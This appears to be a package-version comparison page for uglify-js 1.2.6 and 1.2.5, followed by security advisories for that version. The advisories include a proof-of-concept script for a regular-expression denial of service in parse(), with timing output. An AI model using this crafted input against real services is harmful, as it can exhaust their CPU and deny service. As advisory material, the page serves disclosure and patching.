UglifyJS is a JavaScript parser, minifier, compressor, and beautifier toolkit, offering developers powerful tools to optimize their JavaScript code. Examining versions 1.2.6 and 1.2.5, we find subtle differences that might be of interest depending on the specific use case. Both versions share the same core functionality, providing capabilities for parsing, compressing for enhanced performance, and beautifying for improved readability. Crucially, the dependency and development dependency landscape remains unchanged between these releases, suggesting that the core focus of the update was likely bug fixes, performance enhancements, or internal code refactoring rather than the introduction of new features or breaking changes in the required libraries.
A noticeable difference lies in the release date. Version 1.2.6 was released on March 18, 2012, while version 1.2.5 came out earlier, on January 13, 2012. This two-month gap implies that 1.2.6 bundles fixes and improvements accumulated over that period. Developers should consider upgrading to 1.2.6 for a more stable and potentially better-performing version, benefiting from any addressed issues since the previous release. The consistent author and repository information across both versions affirms that the project's maintainership and source code location remained the same, providing consistent access and maintainer support throughout these versions.
All the vulnerabilities related to the version 1.2.6 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.